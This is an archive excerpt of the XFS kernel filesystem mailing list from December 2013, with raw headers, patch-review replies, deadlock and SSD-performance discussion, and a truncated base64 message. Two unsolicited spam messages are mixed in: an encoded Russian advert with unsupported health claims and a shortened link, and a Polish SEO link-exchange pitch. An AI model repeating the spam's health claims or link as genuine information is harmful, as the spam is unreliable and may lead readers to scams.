relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 653637F3F for ; Mon, 9 Dec 2013 01:03:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0D46DAC004 for ; Sun, 8 Dec 2013 23:03:33 -0800 (PST) X-ASG-Debug-ID: 1386572596-04bdf0132112b250001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id nxoFQCtshXSlanj3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 08 Dec 2013 23:03:18 -0800 (PST) X-Barracuda-Envelope-From: BATV+15db0817d0eb2260d79e+3760+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vpus8-000876-Lx; Mon, 09 Dec 2013 07:03:16 +0000 Date: Sun, 8 Dec 2013 23:03:16 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 03/11] xfs: rename xfs_ilock_map_shared Message-ID: <20131209070316.GA27054@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 03/11] xfs: rename xfs_ilock_map_shared References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.511935311@bombadil.infradead.org> <20131208223359.GD31386@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131208223359.GD31386@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386572598 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142955 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 09, 2013 at 09:33:59AM +1100, Dave Chinner wrote: > While we are changing this, I think it makes sense to move it to > being a static inline function given how simple it is.... I actually tried that first, but with XFS_DINODE_FMT_BTREE in fs/xfs/xfs_dinode.h, struct xfsicdinode in xfs_log_format.h and the resulting dependencies it didn't seem workable. My inode reshuffle might provide relief eventually. From BATV+15db0817d0eb2260d79e+3760+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 9 01:10:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B8A7F7F58 for ; Mon, 9 Dec 2013 01:10:24 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 95887304043 for ; Sun, 8 Dec 2013 23:10:21 -0800 (PST) X-ASG-Debug-ID: 1386573007-04bdf0131b12b6b0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 5TZyBb6tCB1pOyqH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Sun, 08 Dec 2013 23:10:07 -0800 (PST) X-Barracuda-Envelope-From: BATV+15db0817d0eb2260d79e+3760+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vpuyh-0001T2-Oz; Mon, 09 Dec 2013 07:10:03 +0000 Date: Sun, 8 Dec 2013 23:10:03 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Jeff Liu , Christoph Hellwig , Ben Myers , "xfs@oss.sgi.com" Subject: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot Message-ID: <20131209071003.GA2736@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot References: <5294A469.1060000@oracle.com> <20131128104336.GE26927@infradead.org> <52986001.9040101@oracle.com> <20131206210137.GT1935@sgi.com> <52A2B75C.3040803@oracle.com> <20131209012642.GO31386@dastard> <20131209023655.GQ31386@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131209023655.GQ31386@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386573007 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142955 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The hint removal gets my vote. I actually had it written up the last time I touch the quota code, but for some reasons I stopped before sumitting it. From studiobau@av7.infracom.it Mon Dec 9 01:20:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.9 required=5.0 tests=FH_FROMEML_NOTLD,HTML_MESSAGE, MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5FCF87F59 for ; Mon, 9 Dec 2013 01:20:40 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 39D7B8F8049 for ; Sun, 8 Dec 2013 23:20:39 -0800 (PST) X-ASG-Debug-ID: 1386573628-04bdf0132212bd70001-NocioJ Received: from av7.infracom.it (av7.infracom.it [80.74.176.116]) by cuda.sgi.com with ESMTP id y6la7YOGG99LeGBF for ; Sun, 08 Dec 2013 23:20:29 -0800 (PST) X-Barracuda-Envelope-From: studiobau@av7.infracom.it X-Barracuda-Apparent-Source-IP: 80.74.176.116 Received: from localhost (localhost [127.0.0.1]) by av7.infracom.it (Postfix) with ESMTP id 060C3D63CF; Mon, 9 Dec 2013 08:20:28 +0100 (CET) X-Virus-Scanned: Debian amavisd-new at av7.infracom.it Received: from av7.infracom.it ([IPv6:::ffff:127.0.0.1]) by localhost (av7.infracom.it [::ffff:127.0.0.1]) (amavisd-new, port 10024) with ESMTP id T-I59gPnlMnf; Mon, 9 Dec 2013 08:20:27 +0100 (CET) Received: from Unknown (unknown [93.77.179.71]) by av7.infracom.it (Postfix) with ESMTPA id 5BE52D631A; Mon, 9 Dec 2013 08:20:20 +0100 (CET) Message-ID: <742997619E7B45DB8B2FA6066392DFE9@ptypoc> From: "Lynda" To: , , , , Subject: =?windows-1251?B?4fDo8uDt8erg/yDx7uv8IPHv7vHu4fHy4vPl?= =?windows-1251?B?8iDv7vXz5OXy/D8=?= Date: Mon, 9 Dec 2013 14:20:32 +0600 X-ASG-Orig-Subj: =?windows-1251?B?4fDo8uDt8erg/yDx7uv8IPHv7vHu4fHy4vPl?= =?windows-1251?B?8iDv7vXz5OXy/D8=?= MIME-Version: 1.0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable X-Priority: 3 List-Unsubscribe: X-Barracuda-Connect: av7.infracom.it[80.74.176.116] X-Barracuda-Start-Time: 1386573629 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142956 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message

<= div> =D1=F2=E8=EC=F3=EB=E8=F0=F3=E5=F2 =F0=E0=E7=EB=EE=E6=E5=ED=FC=E5 =E8= =E2=FB=E2=E5=E4=E5=ED=E8=E5 =E6=E8=F0=EE=E2 =E8=E7 =EE=F0=E3=E0=ED=E8=E7= =EC=E0
=D1=F2=E8=EC=F3=EB=E8=F0=F3=E5=F2 =EF=F0=E8=F2=EE=EA = =EA=F0=EE=E2=E8 =EA =EA=EE=E6=E5 =C6=E8=F0=EE=F1=E6=E8=E3=E0=FE=F9=E0=FF = =F1=EE=E4=E0 - =E3=E0=F0=E0=ED=F2=E8=FF =F3=F1=EF=E5=F5=E0!
= =D7=E5=EC =EF=EE=EB=E5=E7=E5=ED =E8=EC=E1=E8=F0=FC?
=F0=E0=F1= =F7=E8=F9=E0=E5=F2 =EE=F0=E3=E0=ED=E8=E7=EC =EE=F2 =E2=F1=E5=F5 =F1=EE=F0= =F2=EE=E2 =F2=EE=EA=F1=E8=ED=EE=E2
http://goo.gl/IeyAxn


From david@fromorbit.com Mon Dec 9 01:24:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CEDC87F5D for ; Mon, 9 Dec 2013 01:24:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B55C0304043 for ; Sun, 8 Dec 2013 23:24:42 -0800 (PST) X-ASG-Debug-ID: 1386573873-04cb6c537e6223b0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id qvRuwHB4i0VwOrN2 for ; Sun, 08 Dec 2013 23:24:33 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgcIAA1vpVJ5LHyk/2dsb2JhbABYgwe0UIVPgSMXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gBwHkXFo56B4QzA5gTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 09 Dec 2013 17:54:32 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VpvCe-0008NB-K8; Mon, 09 Dec 2013 18:24:28 +1100 Date: Mon, 9 Dec 2013 18:24:28 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 03/11] xfs: rename xfs_ilock_map_shared Message-ID: <20131209072428.GT31386@dastard> X-ASG-Orig-Subj: Re: [PATCH 03/11] xfs: rename xfs_ilock_map_shared References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.511935311@bombadil.infradead.org> <20131208223359.GD31386@dastard> <20131209070316.GA27054@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131209070316.GA27054@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386573873 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142956 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Dec 08, 2013 at 11:03:16PM -0800, Christoph Hellwig wrote: > On Mon, Dec 09, 2013 at 09:33:59AM +1100, Dave Chinner wrote: > > While we are changing this, I think it makes sense to move it to > > being a static inline function given how simple it is.... > > I actually tried that first, but with XFS_DINODE_FMT_BTREE in > fs/xfs/xfs_dinode.h, struct xfsicdinode in xfs_log_format.h > and the resulting dependencies it didn't seem workable. My inode > reshuffle might provide relief eventually. Ok, makes sense to leave it like that for the moment. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From agnieszka@darmowaseo.com Mon Dec 9 02:13:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6CC437F5F for ; Mon, 9 Dec 2013 02:13:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 487F78F8039 for ; Mon, 9 Dec 2013 00:13:39 -0800 (PST) X-ASG-Debug-ID: 1386576801-04bdf0131b12dcf0001-NocioJ Received: from siteottimizzazione.com (mail.euseos.com [74.117.57.60]) by cuda.sgi.com with ESMTP id aSr2VQKLsMa3fChs for ; Mon, 09 Dec 2013 00:13:24 -0800 (PST) X-Barracuda-Envelope-From: agnieszka@darmowaseo.com X-Barracuda-Apparent-Source-IP: 74.117.57.60 Date: Mon, 9 Dec 2013 08:11:18 +0000 To: xfs@oss.sgi.com From: Agnieszka Nowak Subject: Bezkosztowa wymiana linkami X-Priority: 3 X-ASG-Orig-Subj: Bezkosztowa wymiana linkami MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_39425238b4c39b8ae09abe710e9418e4" Message-Id: <20131209081320.6E6F783CCA1@siteottimizzazione.com> X-Barracuda-Connect: mail.euseos.com[74.117.57.60] X-Barracuda-Start-Time: 1386576804 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142956 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message --b1_39425238b4c39b8ae09abe710e9418e4 Content-Type: text/plain; charset = "UTF-8" Content-Transfer-Encoding: 8bit Witaj, Nazywam się Agnieszka Nowak, Proponuję Ci darmową wymianę linkami ze stroną oss.sgi.com lub dowolną inną stroną, którą posiadasz. Z pewnością ucieszy Cię wiadomość, że dysponuję sporą ilością wysokiej jakości stron do darmowej wymiany linkami, która z pewnością przyniesie korzyści dla nas obu.   Proszę o wiadomość, czy mogę przesłać bardziej szczegółowe informacje oraz proszę przesłać wszelkie inne przemyślenia dotyczące tej propozycji.   Z niecierpliwością czekam na odpowiedź! Agnieszka Nowak http://www.plseo.org http://pl.linkedin.com/pub/agnieszka-nowak/85/466/112 --b1_39425238b4c39b8ae09abe710e9418e4 Content-Type: text/html; charset = "UTF-8" Content-Transfer-Encoding: 8bit Witaj,

Nazywam się Agnieszka Nowak,

Proponuję Ci darmową wymianę linkami ze stroną oss.sgi.com lub dowolną inną stroną, którą posiadasz.
Z pewnością ucieszy Cię wiadomość, że dysponuję sporą ilością wysokiej jakości stron do darmowej wymiany linkami, która z pewnością przyniesie korzyści dla nas obu.
 
Proszę o wiadomość, czy mogę przesłać bardziej szczegółowe informacje oraz proszę przesłać wszelkie inne przemyślenia dotyczące tej propozycji.
 
Z niecierpliwością czekam na odpowiedź!

Agnieszka Nowak
http://www.plseo.org
http://pl.linkedin.com/pub/agnieszka-nowak/85/466/112 --b1_39425238b4c39b8ae09abe710e9418e4-- From elacour@easter-eggs.com Mon Dec 9 03:47:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AE9D57F56 for ; Mon, 9 Dec 2013 03:47:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 453F3AC001 for ; Mon, 9 Dec 2013 01:47:41 -0800 (PST) X-ASG-Debug-ID: 1386582436-04cb6c537d629df0001-NocioJ Received: from volubilis.easter-eggs.com (volubilis.easter-eggs.com [37.9.136.135]) by cuda.sgi.com with ESMTP id 1ZhZlTVZ4OhhvdXI for ; Mon, 09 Dec 2013 01:47:16 -0800 (PST) X-Barracuda-Envelope-From: elacour@easter-eggs.com X-Barracuda-Apparent-Source-IP: 37.9.136.135 Received: from localhost (localhost.localdomain [127.0.0.1]) by volubilis.easter-eggs.com (Postfix) with ESMTP id E562515E05 for ; Mon, 9 Dec 2013 10:47:15 +0100 (CET) Received: from datura.easter-eggs.fr (coquelicot-s.easter-eggs.com [109.190.110.196]) by volubilis.easter-eggs.com (Postfix) with ESMTPSA id BFDA815DFB for ; Mon, 9 Dec 2013 10:47:15 +0100 (CET) Date: Mon, 9 Dec 2013 10:47:15 +0100 From: Emmanuel Lacour To: xfs@oss.sgi.com Subject: Re: XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) Message-ID: <20131209094715.GC5821@easter-eggs.com> X-ASG-Orig-Subj: Re: XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) References: <20131128091322.GC5337@easter-eggs.com> <20131128100521.GO10988@dastard> <20131203095357.GC5405@easter-eggs.com> <20131203125057.GU10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131203125057.GU10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: volubilis.easter-eggs.com[37.9.136.135] X-Barracuda-Start-Time: 1386582436 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142958 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 03, 2013 at 11:50:57PM +1100, Dave Chinner wrote: > thanks very much for your quick and detailled answer! > OK, 32GB RAM, no obvious shortage, no dirty or writeback data. > 2TB SATA drives, 32AGs, only unusual setting is 64k directory block > size. > yes, the 64k was taken from a too quickly read of advice, I don't think it's of any help on a ceph cluster but I'm not an FS guru. Is there a way to lower it at runtime? > Yup, there's your problem: > [...] > Which, I think, is pretty easy to do. Yup, barely smoke tested patch > below that demonstrates the fix. Beware - patch may eat babies and > ask for more. Use it at your own risk! > unfortunatly I cannot test this patch because: - it's a production cluster and it's currently hard for me to reboot nodes (not enough nodes ;)) - just after hiting this problem I saw a kernel 3.11 available on Debian backports and decided to upgrade the whole cluster. since this upgrade, there is no problems anymore ... I cross my fingers ;) From eflorac@intellique.com Mon Dec 9 03:50:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 49B8C7F5F for ; Mon, 9 Dec 2013 03:50:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 33362304039 for ; Mon, 9 Dec 2013 01:50:14 -0800 (PST) X-ASG-Debug-ID: 1386582588-04cb6c537b62a030001-NocioJ Received: from smtp3-g21.free.fr (smtp3-g21.free.fr [212.27.42.3]) by cuda.sgi.com with ESMTP id GeXanVkpNWprlhbN for ; Mon, 09 Dec 2013 01:49:52 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 212.27.42.3 Received: from galadriel.home (unknown [82.235.234.79]) by smtp3-g21.free.fr (Postfix) with ESMTP id C2D19A631D; Mon, 9 Dec 2013 10:49:43 +0100 (CET) Date: Mon, 9 Dec 2013 10:49:38 +0100 From: Emmanuel Florac To: stan@hardwarefreak.com Cc: Mike Dacre , "xfs@oss.sgi.com" Subject: Re: Sudden File System Corruption Message-ID: <20131209104938.3ba1af99@galadriel.home> X-ASG-Orig-Subj: Re: Sudden File System Corruption In-Reply-To: <52A5159F.2060309@hardwarefreak.com> References: <52A03513.6030408@hardwarefreak.com> <52A191BA.20800@hardwarefreak.com> <52A302A9.9050509@hardwarefreak.com> <52A401FF.9050506@hardwarefreak.com> <20131208160339.5c45ab91@galadriel.home> <52A5159F.2060309@hardwarefreak.com> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp3-g21.free.fr[212.27.42.3] X-Barracuda-Start-Time: 1386582592 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142958 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Le Sun, 08 Dec 2013 18:58:07 -0600 vous =C3=A9criviez: > Emmanuel do you recall which SSD you used here?=20 Sure, was an Intel X25 32 GB. Definitely both tiny and slow by today standards. > 7500 IOPS is very low by today's standards.=20 That's a benchmark run on the whole 3.5 TB array, not the SSD alone. The SSD alone easily reached 20 KIOPS.=20 > What I'm wondering is if you had an older low > IOPS SSD, or, a modern high IOPS rated SSD that performed way below > its specs in this application. Definitely an older SSD. BTW the 51645 tested was capable of about 25 KIOPS. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From sgosse@sgi.com Mon Dec 9 10:16:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D781A7F67 for ; Mon, 9 Dec 2013 10:16:42 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay2.corp.sgi.com (Postfix) with ESMTP id B1E53304051; Mon, 9 Dec 2013 08:16:39 -0800 (PST) Received: from P-EXMB2-DC21.corp.sgi.com ([169.254.2.247]) by pv-excas2-dc21.corp.sgi.com ([137.38.106.9]) with mapi id 14.03.0123.003; Mon, 9 Dec 2013 10:16:39 -0600 From: Shaun Gosse To: Yuji Saeki , "xfs@oss.sgi.com" Subject: RE: XFS...Windows? Thread-Topic: XFS...Windows? Thread-Index: Ac70bA7YDvNVLcXPRq+MqrRVGrDXmAAipRFg Date: Mon, 9 Dec 2013 16:16:38 +0000 Message-ID: <8D3FA7645C1CFC4E9E783D22B4C708644A595E@P-EXMB2-DC21.corp.sgi.com> References: <000001cef46c$ab687cc0$02397640$@mail.com> In-Reply-To: <000001cef46c$ab687cc0$02397640$@mail.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [128.162.232.207] Content-Type: multipart/alternative; boundary="_000_8D3FA7645C1CFC4E9E783D22B4C708644A595EPEXMB2DC21corpsgi_" MIME-Version: 1.0 --_000_8D3FA7645C1CFC4E9E783D22B4C708644A595EPEXMB2DC21corpsgi_ Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 V2VsbOKApmF0IHRoZSByaXNrIG9mIGp1bXBpbmcgaW50byBzb21ldGhpbmcgaGVyZToNCg0K4oCc d291bGQgU0dJIGJlIG9rYXkgd2l0aCB0aGF04oCdOiBrZWVwIGluIG1pbmQgdGhpcyBhIGNvbW11 bml0eSBwcm9qZWN0LiBUaGVyZSBhcmUgY29udHJpYnV0b3JzIHRvIFhGUyBoZXJlIGF0IFNHSS4g VGhlcmUgaXMgYWxzbyBhIGxvdCBvZiB3b3JrIGRvbmUgYnkgZW1wbG95ZWVzIG9mIFJlZGhhdCBh cyB3ZWxsIGFzIG90aGVyIGNvbXBhbmllcyAoYW5kIGEgZmV3IGZyZWVsYW5jZSAvIHBlb3BsZSBp bnRlcmVzdGVkIHJlZ2FyZGxlc3Mgb2YgY3VycmVudCBwb3NpdGlvbikuIEFueWhvdywganVzdCBh IHF1aWJibGUgdG8gbm90ZSB0aGF0IGl04oCZcyBub3QgYSBxdWVzdGlvbiBvZiB3aGF0IFNHSSBk aWN0YXRlcy4gQWx0aG91Z2ggSSB3aWxsIG5vdGUgdGhhdCBJ4oCZdmUgYWN0dWFsbHkgcmFpc2Vk IHRoZSBpZGVhIG9mIFhGUyBvbiBXaW5kb3dzIGludGVybmFsbHkgKGhlcmUgYXQgU0dJKSBhbmQg d2hpbGUgaXTigJlzIG5vdCBhIHByaW9yaXR5IEkgd291bGQgc2F5IHRoZXJl4oCZcyBhdCBsZWFz dCBzb21lIGludGVyZXN0LiBBdCB0aGUgbGVhc3QsIGlmIHlvdSBidWlsZCBpdCwgd2XigJlsbCBj ZXJ0YWlubHkgdGFrZSBhIGxvb2sgYXQgaXQuIOKYug0KDQpJIHNhdyBhbiBlbWFpbCBhIHdoaWxl IGJhY2sgb24gdGhpcyBsaXN0IHRoYXQgaW1wbGllZCBzb21lb25lIHdhcyB0cnlpbmcgdG8gd29y ayBvbiB0aGF0IGlpcmM7IEkgZGlkbuKAmXQgc2VlIGFueSBmb2xsb3ctdXAgZnJvbSBpdC4gVGhl cmUgYXJlIGFsc28gc29tZSBwcm9qZWN0cyB0aGF0IGxvb2sgYWJhbmRvbmVkIHdoaWNoIHRyaWVk IHRvIGRvIHRoaXMgSSByZWNhbGwgZnJvbSBwcmV2aW91cyBzZWFyY2hlcyBvbiB0aGlzLg0KDQpP bmUgb2YgdGhlIHN1Z2dlc3Rpb25zIEkgaGVhcmQgd2hlbiBJIHdhcyBjb25zaWRlcmluZyB0aGlz IHdhcyB0byBsb29rIGF0IGhvdyB0aGUgZXh0IHBvcnQgb24gV2luZG93cyB3b3Jrcy4gVGhhdCBs b29rcyBtaWxkbHkgaW5hY3RpdmUgaXRzZWxmIGJ1dCBzaG91bGQgYmUgZ29vZCBmb3IgY29tcGFy aXNvbi4NCg0KSW50ZXJuYWxseSwgU0dJIGhhcyBhIHByb3ByaWV0YXJ5IHN5c3RlbSwgQ1hGUywg d2hpY2ggZG9lcyBjbHVzdGVyZWQgWEZTIGluY2x1ZGluZyBXaW5kb3dzIGFzIGNsaWVudCBub2Rl cy4gU28gd2XigJl2ZSBnb3QgY29kZSB0aGF0IGFjdHVhbGx5IGRvZXMgWEZTIGRhdGEgd3JpdGVz IGZyb20gV2luZG93cyBub2Rlcy4gT2YgY291cnNlLCB0aGUgdHJpY2t5IGJpdCBpcyBtYW5hZ2lu ZyBhbGwgb2YgdGhlIG1ldGFkYXRhL2xvZ2dpbmcsIHdoaWNoIGlzbuKAmXQgdG91Y2hlZCBmcm9t 